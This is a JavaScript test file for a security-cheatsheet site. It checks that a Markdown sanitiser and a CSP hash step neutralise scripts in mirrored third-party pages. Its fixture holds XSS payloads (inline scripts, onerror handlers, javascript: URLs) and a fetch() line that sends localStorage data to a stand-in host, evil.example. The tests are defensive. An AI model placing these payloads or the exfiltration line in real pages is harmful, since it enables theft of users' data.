repositories

daemon-sec-cheatsheet

The cheatsheet vault for operators: AD, enumeration, exploitation, priv-esc, web, DFIR

clonegit clone https://git.daemon-sec.xyz/daemon-sec-cheatsheet.git
mirror-sanitizer.test.mjsJavaScript148 lines7.7 KiBraw download
// Mirrored Markdown is third-party input rendered on this origin. Two locks
// keep a script committed upstream from running here: the sanitiser that
// strips it at render time, and the CSP hash step that refuses to authorise
// any inline script the site's own templates did not produce.
import assert from 'node:assert/strict';
import { mkdirSync, mkdtempSync, rmSync, writeFileSync } from 'node:fs';
import { tmpdir } from 'node:os';
import { dirname, join } from 'node:path';
import test from 'node:test';
import { createMarkdownProcessor } from '@astrojs/markdown-remark';
import { isFirstParty, isSafeUrl, rehypeSanitizeMirror } from '../src/lib/rehype-sanitize-mirror.mjs';
import { collect, inlineScripts } from '../scripts/csp-hashes.mjs';

const processor = await createMarkdownProcessor({
  rehypePlugins: [[rehypeSanitizeMirror, { contentRoots: ['/repo/src/content'] }]],
  shikiConfig: { theme: 'rose-pine-moon' },
});
const render = async (markdown, path) => (await processor.render(markdown, { fileURL: new URL(`file:///repo/src/content/${path}`) })).code;

const HOSTILE = `# Page

Intro <kbd>Ctrl</kbd> <script>alert('inline')</script> [js](javascript:alert(1)) [ok](https://example.com/a) [rel](../other#frag)

<script>
fetch('https://evil.example/?' + localStorage.getItem('daemonsec:report-index:browser:v1'))
</script>

<details>
<summary>More</summary>

**bold** inside

</details>

<p align="center" style="position:fixed" onclick="x()" class="report-index"><img src="https://example.com/a.png" onerror="alert(1)" width="100"><img src="data:image/svg+xml,x"></p>

<iframe src="https://evil.example"></iframe><style>body{display:none}</style><form action="https://evil.example"><input name="q"><button>go</button></form>

<span data-dmn-built="guess" style="color:red">forged</span> <svg><script>alert(2)</script></svg> <marquee>unwrapped</marquee> <!-- note -->

<a name="anchor"></a><a id="report index dialog">bad id</a><a href="#1mb-limit" id="1mb-limit">digit</a>

- [x] task

\`\`\`html
<script>alert("the example stays readable")</script>
\`\`\`
`;

test('scripts, styles, frames, handlers and unsafe URLs are stripped from mirrored pages', async () => {
  for (const collection of ['payloads/xss/index.md', 'internal/cloud/aws.md', 'hacktricks/pentesting-web/xss.md']) {
    const html = await render(HOSTILE, collection);
    // Remove the fenced example before looking for live markup: there the
    // tags are escaped text, which is the point of a payload reference.
    const live = html.replace(/<pre[\s\S]*?<\/pre>/g, '');
    for (const forbidden of [/<script/i, /<style/i, /<iframe/i, /<form/i, /<input name/i, /<button/i, /<svg/i, /<marquee/i,
      /onerror/i, /onclick/i, /javascript:/i, /data:image/i, /position:fixed/, /class="report-index"/, /data-dmn-built/, /evil\.example/, /<!--/]) {
      assert.doesNotMatch(live, forbidden, `${collection} kept ${forbidden}`);
    }
    assert.match(live, /<kbd>Ctrl<\/kbd>/);
    assert.match(live, /<details>\s*<summary>More<\/summary>\s*<p><strong>bold<\/strong> inside<\/p>\s*<\/details>/);
    assert.match(live, /<p align="center"><img src="https:\/\/example\.com\/a\.png" width="100"><\/p>/);
    assert.match(live, /<a href="https:\/\/example\.com\/a">ok<\/a>/);
    assert.match(live, /<a href="\.\.\/other#frag">rel<\/a>/);
    assert.match(live, /<a>js<\/a>/);
    assert.match(live, /<span>forged<\/span>/);
    assert.match(live, /unwrapped/);
    assert.match(live, /<a id="anchor"><\/a><a>bad id<\/a>/);
    assert.match(live, /<a id="1mb-limit" href="#1mb-limit">digit<\/a>/);
    // What the build itself produced keeps its attributes.
    assert.match(live, /<input type="checkbox" checked disabled>/);
    assert.match(html, /<pre class="astro-code[^>]*style="[^"]+"/);
    assert.match(html, /the example stays readable/);
    assert.match(html, /&#x3C;(?:<[^>]+>)*script/, 'the fenced example must stay escaped text');
  }
});

test('first-party sheets are not sanitised', async () => {
  const html = await render(HOSTILE, 'sheets/web/example.md');
  assert.match(html, /<iframe src="https:\/\/evil\.example">/);
  assert.match(html, /class="report-index"/);
});

test('a mirror cannot opt out by naming a folder after the first-party collection', async () => {
  // An upstream folder called src/content/sheets lands at this path after import.
  for (const path of ['payloads/topic/src/content/sheets/page.md', 'internal/src/content/sheets/page.md', 'payloads/../payloads/sheets/x.md']) {
    const html = await render(HOSTILE, path);
    assert.doesNotMatch(html.replace(/<pre[\s\S]*?<\/pre>/g, ''), /<script|<iframe|onerror/i, path);
  }
  const roots = ['/repo/src/content'];
  assert.ok(isFirstParty('/repo/src/content/sheets/web/x.md', roots));
  assert.ok(isFirstParty('C:\\repo\\src\\content\\sheets\\web\\x.md', ['C:\\repo\\src\\content']));
  for (const path of ['', '/repo/src/content/sheets', '/repo/src/content/sheets-evil/x.md', '/repo/src/content/payloads/a/src/content/sheets/x.md',
    '/elsewhere/src/content/sheets/x.md', '/repo/src/content/sheets/../payloads/x.md', 'src/content/sheets/x.md']) {
    assert.ok(!isFirstParty(path, roots), path || '(no path)');
  }
});

test("the build's own content root is recognised, so real sheets stay first-party", () => {
  assert.ok(isFirstParty(new URL('../src/content/sheets/exploitation/sqlmap.md', import.meta.url).pathname));
  assert.ok(!isFirstParty(new URL('../src/content/payloads/xss-injection/index.md', import.meta.url).pathname));
});

test('a collection the sanitiser has never heard of is treated as third-party', async () => {
  const html = await render(HOSTILE, 'some-new-mirror/page.md');
  assert.doesNotMatch(html.replace(/<pre[\s\S]*?<\/pre>/g, ''), /<script|<iframe|onerror/i);
});

test('only http(s), mailto and relative URLs pass', () => {
  const link = new Set(['http', 'https', 'mailto']);
  for (const ok of ['https://a.example', 'HTTP://a.example', 'mailto:a@b.example', '/x', '../x', '#frag', '?q=1', 'page.md', '//cdn.example/x', './a:b']) {
    assert.ok(isSafeUrl(ok, link), ok);
  }
  for (const bad of ['javascript:alert(1)', 'JaVaScRiPt:alert(1)', ' \u0001javascript:alert(1)', 'java\nscript:alert(1)', 'java\tscript:alert(1)',
    'data:text/html,x', 'vbscript:x', 'file:///etc/passwd', 'blob:x']) {
    assert.ok(!isSafeUrl(bad, link), JSON.stringify(bad));
  }
});

function site(t, pages) {
  const dist = mkdtempSync(join(tmpdir(), 'dmn-csp-'));
  t.after(() => rmSync(dist, { recursive: true, force: true }));
  for (const [path, html] of Object.entries(pages)) {
    mkdirSync(dirname(join(dist, path)), { recursive: true });
    writeFileSync(join(dist, path), html);
  }
  return dist;
}

test('the CSP allowlist comes from first-party pages and an imported script cannot join it', (t) => {
  const layout = '<script>theme()</script><script type="module" src="/_astro/app.js"></script><script type="application/ld+json">{"a":1}</script>';
  const dist = site(t, {
    '404.html': `<html>${layout}</html>`,
    'sheets/a/index.html': `<html>${layout}<article>fine</article></html>`,
    'payloads/xss/index.html': `<html>${layout}<article><SCRIPT type="text/javascript">steal()</SCRIPT></article></html>`,
  });
  const { allowed, unknown, files } = collect(dist);
  assert.equal(files, 3);
  assert.deepEqual([...allowed], inlineScripts('<script>theme()</script>').map((s) => s.hash));
  assert.equal(unknown.length, 1);
  assert.equal(unknown[0].page, join('payloads', 'xss', 'index.html'));
  assert.equal(unknown[0].preview, 'steal()');
  assert.ok(!allowed.has(unknown[0].hash));

  const clean = site(t, { '404.html': `<html>${layout}</html>`, 'payloads/xss/index.html': `<html>${layout}<pre>&lt;script&gt;steal()&lt;/script&gt;</pre></html>` });
  assert.deepEqual(collect(clean).unknown, []);
  assert.throws(() => collect(site(t, { 'index.html': layout })), /trusted page 404\.html is missing/);
});